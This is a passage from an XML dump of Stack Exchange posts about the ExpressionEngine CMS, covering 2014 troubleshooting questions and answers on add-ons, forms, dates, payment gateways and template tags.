&lt;p&gt;M10O93H7PQ09L8X1T49CHY01Z5J4TT91FGFR&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do these long mix of characters &amp;amp; numbers mean?! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-ons currently causing this to happen are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Playa&lt;/li&gt;&#xA;&lt;li&gt;Structure&lt;/li&gt;&#xA;&lt;li&gt;CE Image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-10T14:57:34.667" Title="Some add-ons don't work after EE1 upgrade" Tags="|matrix|playa|structure|ee1|string|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20137" PostTypeId="1" CreationDate="2014-03-10T11:40:28.647" Score="0" ViewCount="109" Body="&lt;p&gt;The title says it all really - I have built a custom login page using &lt;code&gt;{exp:member:login_form}&lt;/code&gt; but when I create a link using &lt;code&gt;{path='member/forgot_password'}&lt;/code&gt; and &lt;code&gt;{path='member/register'}&lt;/code&gt; etc they just go to a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this before? I am using Structure which I guess could mess with it but not sure. &lt;code&gt;{path='logout'}&lt;/code&gt; works just fine. I am running EE 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help with this!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-03-10T20:10:17.017" Title="All the member paths give a 404 error" Tags="|ee2|members|member-management|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20138" PostTypeId="1" AcceptedAnswerId="20205" CreationDate="2014-03-10T11:58:31.487" Score="0" ViewCount="172" Body="&lt;p&gt;Spending several hours to tackle this, completely exhausted and see no solution any more.&#xA;Do hope for some help here.&#xA;Code 1 no problem.&#xA;Code 2 throws error&#xA;Field niveau has three items. all throw error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;&#xA;Invalid Selection&#xA;Invalid Selection&#xA;Invalid Selection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a form this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;forms-inline-list&quot;&amp;gt;&#xA;                 {options:gender_{language_code}}&#xA;            &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; id=&quot;gender_{language_code}&quot; name=&quot;gender_{language_code}[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;        &amp;lt;label for=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;                {/options:gender_{language_code}}&#xA;               &amp;lt;/ul&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;code 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;forms-inline-list&quot;&amp;gt;&#xA;                 {options:niveau_{language_code}}&#xA;            &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; id=&quot;niveau_{language_code}&quot; name=&quot;niveau_{language_code}[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;        &amp;lt;label for=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;                {/options:niveau_{language_code}}&#xA;               &amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I swear, the two fields are the same, except for the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for saving may days.        &lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-03-12T05:58:36.867" Title="database problem checkboxes? Profile:edit form, checkbox error" Tags="|channel-form|profile-edit|checkbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20139" PostTypeId="1" CreationDate="2014-03-10T12:21:57.387" Score="0" ViewCount="48" Body="&lt;p&gt;I have an odd situation where a client wants to display a date as-is without any Daylight Savings Time conversions. Basically, if they enter a specific date they want it to display as is (with the formatting intact). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this with EE? This was an EE 2.2 site that was recently upgraded to 2.7.3 so it includes the DST goodies; unfortunately they hate the new DST stuff. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2014-05-13T05:36:57.167" Title="Completely Remove Date DST Conversions" Tags="|date|dst|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20140" PostTypeId="2" ParentId="20135" CreationDate="2014-03-10T13:36:22.343" Score="0" Body="&lt;p&gt;This one is caused from a pseudo caching that the ExpressionEngine template parser does.  When it finds the same tag multiple times it will replace it with a string like this. The template parser will often run into an issue when the tag is nested in another tag pair.  This being said, the fix is simple.  All you really need to do is add a random string to tag (the one that's throwing the random string) so the template parser won't see it as a duplicate tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/{segment_1}&quot; include_ul=&quot;no&quot; current_class=&quot;selected&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could be changed to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/{segment_1}&quot; include_ul=&quot;no&quot; current_class=&quot;selected&quot; work=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-03-10T13:36:22.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20141" PostTypeId="2" ParentId="19915" CreationDate="2014-03-10T13:50:59.407" Score="5" Body="&lt;p&gt;This issue involves the changed security module within EE. Solspace are working on the proper solution however I have also advised them on how to fix this issue (in a different module, facebook connect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help them and the community, try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify the action used to submit the freeform (refer to the exp_actions) table.&lt;/li&gt;&#xA;&lt;li&gt;Modify the action in exp_actions, and set the csrf_exempt column to 1 (true)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Try to submit your freeform, if it works then this is indeed the security model issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above fix will work for you however it should be noted that this removes the freeform submission from the standard cross site scripting checks. You are relying on SolSpace's module to validate the submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, for production purposes I recommend you wait for SolSpace's official patch, but if the above method helps, please let SolSpace (and us) know!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2014-03-10T13:50:59.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20142" PostTypeId="2" ParentId="20058" CreationDate="2014-03-10T13:54:47.843" Score="0" Body="&lt;p&gt;Can you confirm what version of ExpressionEngine and Facebook Connect you are using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's v2.8 (latest) there are issues with a new, more verbose security model. I have submitted a patch to SolSpace for my issue where the facebook registration plugin was causing an EE Form out of date error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, please ignore me!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2014-03-10T13:54:47.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20143" PostTypeId="1" AcceptedAnswerId="20170" CreationDate="2014-03-10T14:17:42.923" Score="0" ViewCount="103" Body="&lt;p&gt;I have a client which would like to be able to add Arabic, Russian and Japanese into EE fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never worked with foreign languages other than French so am wondering if EE works with foreign characters in fieldtypes?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-03-11T09:15:11.160" Title="Arabic, Russian and Japanese in EE?" Tags="|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20144" PostTypeId="2" ParentId="20038" CreationDate="2014-03-10T14:49:19.683" Score="1" Body="&lt;p&gt;I'd check that your actually passing the entry_id correctly. But i'd also make sure your not disabling anything on the channel entries loop with the disable=&quot;&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in doubt, try adding dynamic=&quot;no&quot; as well ;)&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-10T14:49:19.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20145" PostTypeId="2" ParentId="20135" CreationDate="2014-03-10T14:57:34.667" Score="1" Body="&lt;p&gt;It turns out I had an old EE1 add-on in the template, which made all the others just die and display the string/characters.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-10T14:57:34.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20146" PostTypeId="2" ParentId="20123" CreationDate="2014-03-10T15:18:18.333" Score="0" Body="&lt;p&gt;Is meat-dishes an actual Structure page with a listing attached? That's the only way Structure can know to properly paginate.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-03-10T15:18:18.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20147" PostTypeId="1" CreationDate="2014-03-10T15:46:06.837" Score="1" ViewCount="151" Body="&lt;p&gt;Will Pixel &amp;amp; Tonic modules be upgraded to be compatible with EE 2.8.0? I have noticed several posts in the last week about errors with Playa, Wygwam, Matrix, etc. and I have many sites that are running these modules. &lt;/p&gt;&#xA;" OwnerUserId="2831" LastActivityDate="2014-03-10T15:51:36.553" Title="Pixel &amp; Tonic compatibility with EE 2.8" Tags="|pixelandtonic|ee|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20148" PostTypeId="2" ParentId="20147" CreationDate="2014-03-10T15:51:36.553" Score="1" Body="&lt;p&gt;Last week I tweeted P&amp;amp;T about possible EE 2.8 issues and they replied that there's a Javascript bug in the initial release that EllisLab has posted a patch for. I've not had a chance to test this personally, but here's the link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20165&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20165&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2014-03-10T15:51:36.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20149" PostTypeId="1" AcceptedAnswerId="20194" CreationDate="2014-03-10T15:51:52.503" Score="0" ViewCount="88" Body="&lt;p&gt;When I open Add Ons &gt; Modules &gt; DataGrab I get the following PHP Errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qSLrM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.7.3 and DataGrab 1.8.0. Any ideas what is happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-03-11T18:50:24.620" Title="PHP Erros With DataGrab" Tags="|add-on|module|php-errors|datagrab|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20150" PostTypeId="1" AcceptedAnswerId="20152" CreationDate="2014-03-10T16:00:48.337" Score="0" ViewCount="111" Body="&lt;p&gt;Let's say I have entries tagged with multiples categories, for example &lt;code&gt;category_id=&quot;1&quot;&lt;/code&gt; and &lt;code&gt;category_id=&quot;2&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;1&quot; orderby=&quot;date&quot; status=&quot;open&quot;}&#xA;    {categories}&#xA;    &amp;lt;span&amp;gt;{category_id}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{site_url}news/category/{category_url_title}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;My entry title&#xA;2&#xA;My entry title&#xA;1&#xA;Another entry&#xA;2&#xA;Another entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that? How can I avoid this? If I ask specifically for &lt;code&gt;category_id=&quot;1&quot;&lt;/code&gt; in my &lt;code&gt;{exp:channel:entries}&lt;/code&gt; parameter, I should get only entries belonging to said category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: EE version is v2.7.2&lt;/p&gt;&#xA;" OwnerUserId="1062" LastEditorUserId="1062" LastEditDate="2014-03-10T16:06:41.893" LastActivityDate="2014-03-10T16:32:03.327" Title="Avoid duplicate entries tagged with multiple categories" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20151" PostTypeId="2" ParentId="20095" CreationDate="2014-03-10T16:29:07.827" Score="0" Body="&lt;p&gt;You are trying to use parameters that are for Freeform 3.x. Mailing list is now a fieldtype. You will need to add it to your form and adjust its settings when you create the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#mailinglist&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#mailinglist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-10T16:29:07.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20152" PostTypeId="2" ParentId="20150" CreationDate="2014-03-10T16:32:03.327" Score="1" Body="&lt;p&gt;Looks like your code is a bit strange here, specifically the &lt;code&gt;{categories}{/categories}&lt;/code&gt; tag pair wrapping everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try the following and see if it works ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;1&quot; orderby=&quot;date&quot; status=&quot;open&quot;}&#xA;&#xA;    &amp;lt;h5&amp;gt;{title} - {categories}{category_id}{/categories}&amp;lt;/h5&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that works, then that's the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to your original code, I see another problem you are going to face if you structure your URLs like this: if an entry belongs to more than one category, you are going to have a problem constructing your URLs as you are doing here. If you can, working with url segments is probably a safer route here.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-03-10T16:32:03.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20153" PostTypeId="1" CreationDate="2014-03-10T16:57:58.903" Score="1" ViewCount="188" Body="&lt;p&gt;I've just upgraded from ExpressionEngine 1 to 2. The upgrade ran smoothly and I can access my admin panel. Whenever anyone goes to the site, they're greeted with this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Channel::parse_related_entries() [channel.parse-related-entries]: The script tried &gt;to execute a method or access a property of an incomplete object. Please ensure that the &gt;class definition &quot;DB_Cache&quot; of the object you are trying to operate on was loaded &lt;em&gt;before&lt;/em&gt; &gt;unserialize() gets called or provide a __autoload() function to load the class definition&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: channel/mod.channel.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 448&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Channel::parse_channel_entries() [entries'&gt;channel.parse-channel-entries]: The script tried to execute a method or access &gt;a property of an incomplete object. Please ensure that the class definition &gt;&amp;quot;DB_Cache&amp;quot; of the object you are trying to operate on was loaded &lt;em&gt;before&lt;/em&gt; &gt;unserialize() gets called or provide a __autoload() function to load the class definition &gt;in .../system/expressionengine/modules/channel/mod.channel.php on &gt;line 3686&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a clue what I need to do to bring my site back online? Help greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I have tried to rebuild a template step-by-step and have identified that the problem is when I close the {exp:channel:entries} tag. Does anybody know what might be causing this?&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="2832" LastEditDate="2014-03-10T18:54:33.680" LastActivityDate="2014-05-10T18:44:00.493" Title="Upgraded ExpressionEngine, php error on site brings entire site down" Tags="|php|php-errors|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20154" PostTypeId="2" ParentId="20153" CreationDate="2014-03-10T17:40:38.597" Score="0" Body="&lt;p&gt;Best bet would be to talk to your hosting provider it looks like you may need a different version of PHP&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-03-10T17:40:38.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20155" PostTypeId="1" AcceptedAnswerId="20208" CreationDate="2014-03-10T18:38:03.377" Score="2" ViewCount="98" Body="&lt;p&gt;To start off, please forgive me if i sound like an idiot as i have limited coding capabilities. Having said that, i've been having trouble setting up a custom payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment gateway requires that i specify a redirection URL for each transaction status: success, fail and cancelled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that i have no idea what URL to specify for successful transactions so that the order is successfully processed and recorded into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've basically just adapted from one of the existing merchant files and came up with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;class Merchant_enets extends Merchant_driver&#xA;{&#xA;    const PROCESS_URL = 'https://www.enets.sg/enets2/enps.do';&#xA;&#xA;    public function default_settings()&#xA;    {&#xA;        return array(&#xA;            'user_id' =&gt; '',&#xA;            'test_mode' =&gt; FALSE,&#xA;        );&#xA;    }&#xA;&#xA;    public function purchase()&#xA;    {&#xA;        $request = $this-&gt;_build_purchase();&#xA;        $this-&gt;post_redirect($this-&gt;_process_url(), $request);&#xA;    }&#xA;&#xA;    private function _build_purchase()&#xA;    {&#xA;        $request = array();&#xA;        $request['mid'] = $this-&gt;setting('user_id');&#xA;        $request['amount'] = $this-&gt;param('amount');&#xA;        $request['txnRef'] = $this-&gt;param('transaction_id');&#xA;        $request['umapiType'] = 'lite';&#xA;        return $request;&#xA;    }&#xA;&#xA;    public function purchase_return()&#xA;    {&#xA;        $result = $this-&gt;CI-&gt;input-&gt;get_post('result');&#xA;        if (empty($result))&#xA;        {&#xA;            return new Merchant_response(Merchant_response::FAILED, lang('merchant_invalid_response'));&#xA;        }&#xA;&#xA;        // validate response&#xA;        $request = new SimpleXMLElement('');&#xA;        $request-&gt;Response = $result;&#xA;&#xA;        $response = $this-&gt;post_request(self::PROCESS_URL, $request-&gt;asXML());&#xA;        $xml = simplexml_load_string($response);&#xA;&#xA;        if ((string)$xml-&gt;Success == '1')&#xA;        {&#xA;            if ((string)$xml-&gt;status == 'succ')&#xA;            {&#xA;                return new Merchant_response(Merchant_response::AUTHORIZED, (string)$xml-&gt;ResponseText, (string)$xml-&gt;txnRef);&#xA;            }&#xA;        }&#xA;&#xA;        return new Merchant_response(Merchant_response::FAILED, (string)$xml-&gt;ResponseText, (string)$xml-&gt;txnRef);&#xA;    }   &#xA;&#xA;    protected function _process_url()&#xA;    {&#xA;        return $this-&gt;setting('test_mode') ? self::PROCESS_URL_TEST : self::PROCESS_URL;&#xA;    }&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7 and Store 1.6.5&lt;/p&gt;&#xA;" OwnerUserId="2833" LastActivityDate="2014-03-12T07:03:16.990" Title="Need help on custom gateway" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20156" PostTypeId="1" CreationDate="2014-03-10T18:41:28.497" Score="0" ViewCount="47" Body="&lt;p&gt;I've set up the following code on a site. On my Mac (dev version - identical to the running live code) the template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_path}'=='/'}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this works fine. But the same code on the live version simply does not get past this if statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering &lt;code&gt;{current_path}&lt;/code&gt; out to the page before or after the &lt;code&gt;if&lt;/code&gt; statement shows its value as &lt;code&gt;/&lt;/code&gt;, but I can't get anything to evaluate inside the &lt;code&gt;if&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue as to what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considerations: the live server is a Windows box.&lt;/p&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2014-06-23T15:15:33.023" Title="Why is this comparison check not working on a Windows box?" Tags="|conditionals|global-variables|advanced-conditionals|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20158" PostTypeId="1" CreationDate="2014-03-10T21:10:31.083" Score="0" ViewCount="57" Body="&lt;p&gt;I have tested Expresso Store on an iPhone 4 (version 6.1.3) and it looks like add to cart is not working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I have tested Expresso Store on an iPhone 4 (version 7.0.3) and it works fine. Also tested on iPad 1 Gen (5.1.1) and OSX (10.6.8) os it looks like it is related to Safari from particular iOS version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-03-11T14:01:32.120" LastActivityDate="2014-04-11T07:54:59.980" Title="Expresso Store and iPhone 4" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20159" PostTypeId="2" ParentId="19760" CreationDate="2014-03-10T21:53:59.620" Score="0" Body="&lt;p&gt;After having contacted EE support it turns out it was a bug.  Here is the fix and upcoming releases should sort it permanently: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20199&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20199&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2791" LastActivityDate="2014-03-10T21:53:59.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20161" PostTypeId="2" ParentId="20127" CreationDate="2014-03-10T23:43:30.930" Score="1" Body="&lt;p&gt;After a little bit of poking around, I found a thread in the archived EllisLabs forums with the solution. I needed to make a couple small edits to &lt;code&gt;/controllers/cp/sites.php&lt;/code&gt; to get up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hunch is MSM 2.1.6 was not quite compatible with 2.5.2 and so rolling back to an the slightly edited older version of MSM got me moving again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, the thread is right here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/176048/#837688&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/176048/#837688&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-03-10T23:43:30.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20162" PostTypeId="1" CreationDate="2014-03-11T00:06:42.947" Score="2" ViewCount="305" Body="&lt;p&gt;Im trying use some form of source control with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot clearly see a way to decouple the database from the templates and other structures, as would be the case in a most CMSes. Creating channels and any specific entities seem to 100% tied to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been able to fully source control an ExpressionEngine installation and all of the application entities?&lt;/p&gt;&#xA;" OwnerUserId="2834" LastEditorUserId="2834" LastEditDate="2014-03-14T12:12:00.690" LastActivityDate="2014-03-14T12:12:00.690" Title="ExpressionEngine source control via git" Tags="|php|database|mysql|development|git|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20163" PostTypeId="2" ParentId="98" CreationDate="2014-03-11T01:24:06.167" Score="0" Body="&lt;p&gt;I solved this by myself today removing expressionengine/cache and then watching the folder on login. &#xA;Turns out it was a devotee accessory failing due to a disabled php function. But I could see it creating a folder in cache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check/disable your accessories and extensions to check they are not the issue. 90% of the time they are when moving servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-03-11T01:24:06.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20164" PostTypeId="2" ParentId="20114" CreationDate="2014-03-11T02:25:05.230" Score="6" Body="&lt;p&gt;I believe it's a spelling issue in &quot;libary&quot; should be &quot;library&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20172&quot;&gt;https://support.ellislab.com/bugs/detail/20172&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-03-11T02:25:05.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20165" PostTypeId="2" ParentId="20139" CreationDate="2014-03-11T04:00:15.733" Score="2" Body="&lt;p&gt;Turn off the DST thing, make sure admin is the desired timezone and base all new members on admins timezone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just use @lows nice date plugin.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-11T04:00:15.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20166" PostTypeId="1" AcceptedAnswerId="20183" CreationDate="2014-03-11T07:06:08.570" Score="1" ViewCount="160" Body="&lt;p&gt;Can someone explain to me the difference between &lt;code&gt;{exp:stash:get name=&quot;foo&quot;}&lt;/code&gt;, &lt;code&gt;{exp:stash:foo}&lt;/code&gt; and &lt;code&gt;{stash:foo}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm relatively new to ExpressionEngine, and after discovering Stash, I'm amazed at how powerful of a tool it can be, when used properly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reading the documentation and support forums, I've seen reference to all three  tags that, I believe, all serve to retrieve a variable.  However when I try them out, I sometimes find that I get slightly different results when I interchange them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation, &lt;code&gt;{exp:stash:get name=&quot;foo&quot;}&lt;/code&gt;, &lt;code&gt;{exp:stash:foo}&lt;/code&gt; are the same thing, and I've only seen passing references to the third &lt;code&gt;{stash:foo}&lt;/code&gt;. Even if they all serve the same purpose, do each have their own particular uses that make them differ from the others?&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-04-10T14:46:51.457" Title="What's the difference between {exp:stash:get name=&quot;foo&quot;}, {exp:stash:foo} and {stash:foo}?" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20167" PostTypeId="1" CreationDate="2014-03-11T07:45:20.087" Score="0" ViewCount="172" Body="&lt;p&gt;I have a main site with mobile template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have a subdomain for mobile site and it will redirect to the mobile group template in main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But currently I am facing &quot;The action you have requested is invalid.&#xA;&quot; when form submit to main site url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone know what the problem?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2014-03-11T09:17:53.640" Title="Channel from. The action you have requested is invalid" Tags="|forms|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
